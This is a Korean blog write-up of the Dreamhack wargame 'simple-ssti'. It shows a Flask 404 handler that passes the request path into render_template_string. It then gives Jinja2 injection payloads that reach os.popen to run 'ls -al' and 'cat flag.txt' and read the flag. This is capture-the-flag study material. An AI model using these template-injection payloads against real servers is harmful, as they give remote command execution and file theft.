simple-ssti

2026. 1. 30. 20:32·Dreamhack 워게임/Lv.1
반응형

문제 설명

존재하지 않는 페이지 방문 시 404 에러를 출력하는 서비스입니다.
SSTI 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.


코드 분석

@app.errorhandler(404)
def Error404(e):
    template = '''
    <div class="center">
        <h1>Page Not Found.</h1>
        <h3>%s</h3>
    </div>
''' % (request.path)
    return render_template_string(template), 404
  • 문자열 템플릿을 만들고 %s에 요청한 경로(request.path)를 넣어버림
  • 문자열을 렌더링해서 HTML로 응답함

취약점 분석

  • 사용자 입력(request.path)이 템플릿 문자열에 삽입됨 render_template_string 실행
  • 결과적으로 {{ ... }} 같은 템플릿 문법이 서버에서 실행됨

익스 플로잇

먼저 SSTI가 발생하는지 확인하기 위해 {{7*7}}을 넣어봄

49가 출력되는 것을 알 수 있음

 

그렇다면 7*7 대신 flag경로를 삽입해 주면 될 듯하다

{{ cycler.__init__.__globals__.os.popen('ls -al').read() }}

먼저 디렉터리 확인을 위해 ls-al을 입력

flag.txt가 있는 것을 확인

{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}

cat flag.txt를 해주면 된다.

 

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

php-1  (0) 2026.02.02
image-storage  (0) 2026.02.02
simple_sqli chatgpt  (0) 2026.01.30
CSRF Advacned  (0) 2026.01.23
XSS Filtering Bypass  (0) 2026.01.21
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • php-1
  • image-storage
  • simple_sqli chatgpt
  • CSRF Advacned
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    alpacahack
    hacking
    CSRF
    webstudy
    JS
    드림핵
    JavaScript
    cve
    DreamHack
    web
    LLM
    webhacking
    xss
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
simple-ssti
상단으로

티스토리툴바